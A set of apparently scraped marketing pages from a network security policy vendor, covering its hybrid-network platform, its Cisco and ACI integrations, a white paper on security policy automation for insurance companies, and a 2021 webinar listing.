hybrid. Your application delivery pipeline should be as well. The AlgoSec platform then uses intelligent automation to deploy network security policies to support your business application connectivity across your entire hybrid network including your cloud, SDN, and on-premises network. Reduce risk in your application delivery pipeline You don’t want to introduce risk or vulnerabilities into your application pipeline. And discovering risk late in the process delays releases and increases costs. It’s time to shift left. AlgoSec enables testing and QA for app developers and app owners, allowing them to plan and assess risk and vulnerability posture early in the CI/CD pipeline, visualize and manage application connectivity changes and segmentation, and enable shift-left. Always be compliant Spend less time preparing for audits while staying continuously compliant. AlgoSec helps you remain compliant with audit-ready compliance reports covering internal standards and major international regulations such as PCI DSS, SOX, HIPAA, GDPR, and ISO/IEC 27001. Identify compliance gaps across your entire hybrid network, so you can stay continuously in compliance. Identify exactly which application and security policy is potentially non-compliant. Schedule a demo Firewall Analyzer See the whole picture Discover, identify, and map business applications across your entire hybrid network. Learn more AlgoSec Cloud Complete hybrid network security policy management Across cloud, SDN, on-premises, and anything in between - one platform to manage it all. Learn more FireFlow Automated and secure policy change Process security changes in a fraction of the time by leveraging intelligent automation of the entire security policy change process. Learn more The AlgoSec platform Our platform is the complete solution for delivering secure application connectivity and security policy Trusted by over 2,200 organizations since 2004 The AlgoSec technology partner ecosystem Manage Centrally manage multi-vendor network security policies across your entire hybrid network. Cloud SDN On-Premises Integrate Seamlessly integrate with your existing orchestration systems, ITSM systems, SIEM/SOAR, vulnerability scanners, and more - all from a single platform. Schedule time with one of our experts

AlgoSec simplifies, automates, and orchestrates security policy management for Cisco devices and platforms to accelerate application delivery while ensuring security and continuous compliance across the enterprise Secure application
connectivity anywhere
on your Cisco environment AlgoSec simplifies, automates, and orchestrates security policy management for Cisco devices and platforms to accelerate application delivery while ensuring security and continuous compliance across the enterprise. Schedule a demo Features of our Cisco integrations Provision application connectivity Securely provision, manage, and decommission application connectivity. AlgoSec maps application requirements to the underlying network/cloud, speeding up delivery, reducing outages, and ensuring security and compliance across hybrid environments. See and understand complex network security policies AlgoSec simplifies security operations by providing visibility and analysis across virtual, cloud, and physical environments. Teams can optimize Cisco firewalls, routers, and SDN solutions for security, compliance, and operational efficiency. Automate security policy changes AlgoSec automates security policy changes and delivers hands-free policy push for Cisco devices. Intelligent workflows save time, reduce manual errors, and minimize risk for operations and security teams. Get the most out of your ACI investment AlgoSec provides unified security policy management across legacy, cloud, WAN, and ACI fabric, with full visibility and automation. It enables zero-touch changes by automating ACI contracts and firewall policies for seamless, end-to-end security management. Micro-segmentation and policy enforcement AlgoSec leverages Cisco Secure Workload and other data sources to discover application flows, generate whitelist policies, and enforce east-west filtering. It ensures consistent end-to-end implementation of micro-segmentation policy across the network for enhanced security. Ease the migration to firepower AlgoSec simplifies firewall migration to Cisco Firepower by automatically mapping, cleaning, and translating rulesets for zero-touch deployment. It also provides what-if risk analysis and detailed documentation of changes to ensure a smooth and secure migration. Cisco and AlgoSec partnership highlights AlgoSec is a Solutions Plus Partner with Cisco Cisco’s Co-Sell Partner of the Year EMEA-2024 Cisco Meraki Marketplace Tech Partner of the Month- November 2024 AlgoSec products can be purchased directly from the Cisco GPL AlgoSec has developed integrations across many Cisco Products including: Watch the latest Cisco and AlgoSec webinar Key Cisco use cases Risk management and audit Cisco ACI Customers can quickly identify and mitigate policy risks while ensuring compliance with regulatory requirements Download > Network segmentation Customers achieve successful network segmentation within Cisco ACI and network security devices with AlgoSec Download > Intelligent automation With AlgoSec, customers achieve 80% reduction in time spent handling policy changes, and 100% reduction with zero-touch automation Download > See how Cisco ACl users benefit from AlgoSec Intelligent Automation for Cisco ACI contracts Policy migration example from VMWare NSX-T distributed firewall policies to Cisco ACI contracts Modernize your network and harness the power of nexus & Cisco ACI with AlgoSec Cisco baseline compliance AlgoSec's optimization of cisco firewall policies Cisco regulatory compliance Resource AlgoSec Security Management Solution for Cisco ACI and Cisco Nexus Dashboard Download the Cisco Solution Overview > Case Study-NCR Download it now > Product video- Policy portability with AlgoSec – enabling migration into CISCO ACI Watch it now > Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Learn why network security policy management is crucial for insurance companies to safeguard sensitive data, ensure compliance, and mitigate cyber risks effectively. Why Insurance Companies Need Network Security Policy Management Opening Insurance institutions face two major network security related challenges while working to serve their customers: the constant demand to improve in order to successfully compete in the market, and regulatory compliance. Yet, when it comes to security, the InfoSec team often uses slow, manual (and error prone) processes to make the necessary network security changes – thereby delaying the release of a new competitive application or feature to market. To overcome these challenges, insurance institutions must implement a network security policy management solution Schedule a Demo Introduction In order to maintain a competitive advantage, information security teams at insurance companies must be able to support business transformation initiatives and deploy new applications or updated functionality to market quickly and securely. Most IT departments use automation tools to assist them with many aspects of their work – including managing software changes or provisioning storage. Automation allows them to support the fast pace required, ensure quality and maintain compliance with industry regulations. However, when it comes to security, oftentimes the InfoSec team still makes the necessary network security changes using manual processes. This is mostly due to the perceived complexity of the segmented network infrastructure; the large number of firewalls and network security devices (from multiple vendors) that are typically deployed across an insurance company’s network, as well as the extensive compliance requirements to which insurance companies are subjected. As a result, the InfoSec team is often perceived as a bottleneck to progress – holding back the release of a new competitive application or feature to market. This white paper discusses the challenges facing InfoSec teams today. It then explains how a network security management solution delivers critical automation that help transform the InfoSec team from a business inhibitor to a business enabler. Schedule a Demo Network security challenges for insurance companies Insurance companies face two key network security related challenges in their mission to serve their customers: regulatory compliance and a continual demand for changes in order to compete in the market. The number of regulations that insurance companies are required to uphold has significantly increased over the years. They include GLBA, GDPR, BASEL II, SOX, Dodd-Frank, PCI-DSS and many others. While these regulations aim to provide best practices that help both the insurance company and their customers, they require considerable effort to maintain, particularly with regards to network security. The second challenge that impacts network security, is the constant demand for changes. In recent years, the demand for innovation coupled with competition from agile and disruptive insurtech companies is putting considerable pressure on insurance companies. As a result, insurance companies are constantly seeking ways to improve the way they interact with their customers while becoming more efficient. This means that there is now an ever-present need for change in a typically conservative industry which has previously been slow and reluctant to embrace change! Managing network security changes efficiently and effectively across today’s complex network environments requires automation. Yet, while IT teams have embraced automation to handle many of their tasks, the InfoSec team has not. In the following section, we discuss ways to utilize automation to manage security changes and manage the ever-increasing demands of industry regulations. Schedule a Demo Automated network security policy management To tackle these challenges the InfoSec team need automation to effectively manage the demands of regulatory compliance as well as keep up with the volume of network security policy changes. Managing compliance with industry regulations As part of compliance requirements most regulations require full visibility into the security posture, regular audits, and documentation of any changes. Visibility of the security posture: The first step to achieving visibility is to identify all the applications that support customer transactions and manage customer information. The next step is to classify them based on the relevant regulations, such as PCI for applications that manage cardholder information. There are tools that can handle this process automatically, including the discovery process, which saves considerable time. Moreover, automation tools can help with documenting the entire environment, including the network security device configurations and security policies – which is a key part of regulatory compliance. In addition to supporting compliance requirements, this visibility and transparency exposes any gaps and risks in your network security, and thus helps to make your network secure. Streamlined audits: Whether internal or external, audits eat up considerable resources. The InfoSec team currently needs to spend significant time and effort generating reports that document their security posture and prove compliance with every regulation – time that could be better spent focusing on securing the network or responding to business requests. Automation can handle all these processes, and generate self-documenting, audit-ready reports out of the box. Documenting compliance: Most network security management solutions review all changes during design and deployment to ensure that they comply with the industry regulations. As part of this process they document and provide a full audit trail of the change, thereby automating the requirement for change documentation. Get a Demo Managing the constant barrage of change requests An automation solution is paramount for tackling the frequent change requests that are typically required in the insurance industry. An automation solution enables the InfoSec team to focus on the impact and risk of the change as well as ensure that all changes are necessary (typically around 30% of change requests are unnecessary). An automation solution must: Ensure that the network security policy change request will not breach the compliance posture Automatically map the network route for any planned changes and identify the firewall, routers and switches along that route that need to be changed Assess all the risks of a security change. These include regulatory compliance risks as well as internal risks Understand the details of each firewall rule change request and determine whether a change is really needed, whether a change to an existing rule will be sufficient or if there is a need to create a new rule as part of the change request. This process reduces the overall number of rules and helps optimize the security ruleset Be able to automatically deploy changes directly in firewalls Schedule a Demo Summary Insurance companies are constantly seeking to better serve their customers and maintain a competitive edge through new technology innovations. Yet they often fall behind on delivering these new innovations into production. Their network and security operations team are hampered by manual and error-prone security change management processes coupled with the ever-increasing demands of industry regulations, which impact time-to-market. Automated network security management solutions help streamline the auditing process and ensure continuous compliance as well as significantly simplify and speed up the process of managing network security changes. Additional resources Network Security Policy Management Lifecycle PCI DSS: Automate Audits and Ensure Continuous Compliance Schedule a Demo About AlgoSec The leading provider of business-driven security management solutions, AlgoSec helps the world’s largest organizations align security with their business processes. With AlgoSec, users can discover, map and migrate business application connectivity, proactively analyze risk from the business perspective, tie cyber-attacks to business processes and intelligently automate network security changes with zero touch – across their cloud, SDN and on-premise networks. Over 1,500 enterprises, including 20 Fortune 50 companies, utilize AlgoSec’s solutions to make their organizations more agile, more secure and more compliant – all the time. Since its inception, AlgoSec has provided the industry’s only money-back guarantee. Request a demo Let's start your journey to our business-centric network security. Schedule a Demo Select a size Opening Introduction Network security challenges for insurance companies Automated network security policy management Summary About AlgoSec Get the latest insights from the experts Choose a better way to manage your network

Manage and secure your enterprise's hybrid network with integrated solutions that offer visibility, control, and efficiency across diverse infrastructures. Enterprise hybrid network management solutions ---- ------- Schedule a Demo Select a size ----- Get the latest insights from the experts Choose a better way to manage your network

Webinars Migrate & modernize: Supercharging your Cisco Nexus refresh with ACI If you still have Cisco Nexus 7000 devices in your environment, surely you have been inundated with end-of-life warnings and next-gen messaging touting the benefits of upgrading to Nexus 9000 with Cisco ACI. We know, modernizing your infrastructure can be a real pain, but with change also comes opportunity! Find out in this session how to leverage your Nexus refresh to increase your efficiency and productivity, and reduce security concerns at the same time. AlgoSec’s Jeremiah Cornelius, along with Cisco’s Cynthia Broderick, will guide you on how to: Migrate your current Nexus flows to ACI using your preferred mode – network or application centric Remove vulnerabilities caused by human error via automation of network change processes. Instantly identify and remediate risk and compliance violations. June 9, 2021 Cynthia Broderick DC Networking, Business Development at Cisco Jeremiah Cornelius Technical Leader for Alliances and Partners at AlgoSec Relevant resources Modernize your network and harness the power of Nexus & Cisco ACI with AlgoSec Watch Video AlgoSec’s integration with Cisco ACI Watch Video Cisco & AlgoSec achieving application-driven security across your hybrid network Keep Reading Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue